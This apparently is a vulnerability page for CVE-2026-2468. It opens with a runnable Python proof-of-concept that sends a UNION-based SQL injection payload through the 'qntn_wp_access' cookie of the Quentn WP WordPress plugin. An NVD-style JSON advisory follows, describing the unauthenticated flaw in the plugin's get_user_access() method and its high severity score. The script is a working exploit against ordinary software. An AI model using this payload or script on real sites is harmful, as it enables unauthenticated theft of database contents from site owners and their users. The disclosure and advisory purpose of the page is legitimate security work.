CVE-2026-2468

# PoC for CVE-2026-2468 # This script demonstrates how to send a malicious payload via the 'qntn_wp_access' cookie. import requests target_url = "http://example.com/" # Malicious SQL injection payload to test vulnerability # Example: Attempt to extract database version using UNION based injection sql_payload = "' UNION SELECT 1,2,version(),4,5,6,7,8,9-- -" # Set the vulnerable cookie cookies = { "qntn_wp_access": sql_payload } headers = { "User-Agent": "CVE-2026-2468-Analysis" } try: response = requests.get(target_url, headers=headers, cookies=cookies, timeout=10) # Check if the response might contain SQL errors or leaked data if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] Potential SQL Injection detected via SQL Error.") else: print("[+] Request sent. Analyze response manually for data leakage.") print(f"Status Code: {response.status_code}") except requests.RequestException as e: print(f"[-] Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-2468", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:02.577", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quentn WP plugin for WordPress is vulnerable to SQL Injection via the 'qntn_wp_access' cookie in all versions up to, and including, 1.2.12. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `get_user_access()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Quentn WP para WordPress es vulnerable a inyección SQL a través de la cookie 'qntn_wp_access' en todas las versiones hasta la 1.2.12, inclusive. Esto se debe a un escape insuficiente en el parámetro proporcionado por el usuario y a la falta de preparación suficiente en la consulta SQL existente en el método 'get_user_access()'. Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes que pueden usarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quentn-wp/tags/1.2.12/includes/class-quentn-wp-restrict-access.php#L483", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quentn-wp/trunk/includes/class-quentn-wp-restrict-access.php#L483", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/653e20ae-f018-41b5-a973-f73fddae70e5?source=cve", "source": "[email protected]"}]}}